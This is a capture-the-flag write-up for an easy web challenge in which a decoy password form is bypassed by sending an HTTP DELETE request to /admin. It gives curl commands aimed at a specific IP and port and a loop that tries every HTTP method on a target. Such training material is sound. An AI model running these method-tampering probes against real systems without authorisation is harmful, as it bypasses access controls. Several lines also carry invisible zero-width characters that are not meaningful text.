Ханипот (Honeypot)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Alternative HTTP verb exploitation, Honeypot trap recognition and avoidance, HTTP Method Tampering (DELETE instead of GET/POST)

Summary

Walkthrough of the CUSTOM Web Ханипот (Honeypot). Task: Get access to admin page without falling into the honeypot trap. Solution: Use DELETE HTTP method instead of GET/POST to bypass the fake password form.

Description

Получите доступ к странице администратора, чтобы получить флаг, но не попадите в ханипот и не копайте слишком глубоко =)

Translation: Get access to the administrator page to get the flag, but don't fall into the honeypot and don't dig too deep =)

Analysis

Main page

Чтобы получить флаг войдите в админку.
(To get the flag, log into the admin panel)

/admin page (TRAP!)

A form with a password field. Any entered password returns:

Неверный пароль!
(Wrong password!)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key hints from the description:

1. "don't fall into honeypot" — the password form is a TRAP
2. "don't dig too deep" — the solution should be simple

Solution idea

If the form is a honeypot, we need a different access method. Let's try non-standard HTTP methods!

Solution

Testing HTTP methods

 bash read-only • copy allowed Copy
# GET - shows the form (honeypot)
curl http://62.173.140.174:16038/admin
# Result: password form

# POST - "Wrong password"
curl -X POST http://62.173.140.174:16038/admin -d "password=test"
# Result: Неверный пароль!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# PUT - not supported
curl -X PUT http://62.173.140.174:16038/admin
# Result: 405 Method Not Allowed

# DELETE - FLAG!
curl -X DELETE http://62.173.140.174:16038/admin

Successful request

 bash read-only • copy allowed Copy
curl -X DELETE http://62.173.140.174:16038/admin

Response:

Добро пожаловать на страницу админа. Забирай свой флаг - CODEBY{REDACTED}!

Technique: HTTP Method Tampering

HTTP Method Tampering — using non-standard HTTP methods to bypass access control.

Standard methods:

• GET — retrieve resource
• POST — send data
• PUT — update resource
• DELETE — delete resource
• PATCH — partial update
• OPTIONS — get allowed methods
• HEAD — get headers ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why this works:

Developers often protect only GET and POST, forgetting about other methods. The server may process DELETE/PUT/PATCH without authorization checks.

Useful commands:

 bash read-only • copy allowed Copy
# Check all methods
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo "=== $method ===" 
  curl -X $method -s -o /dev/null -w "%{http_code}" http://target/admin
  echo
done

# OPTIONS will show allowed methods
curl -X OPTIONS -i http://target/admin

Lessons

1. Read the description carefully — hints are often hidden in the text
2. Don't fixate on the obvious — the form may be a trap
3. Try all HTTP methods — not just GET/POST
4. Simple solution is often correct — "don't dig too deep" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering Alternative HTTP verb exploitation, Honeypot trap recognition and avoidance, HTTP Method Tampering (DELETE instead of GET/POST) was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Ханипот (Honeypot) • Difficulty: Easy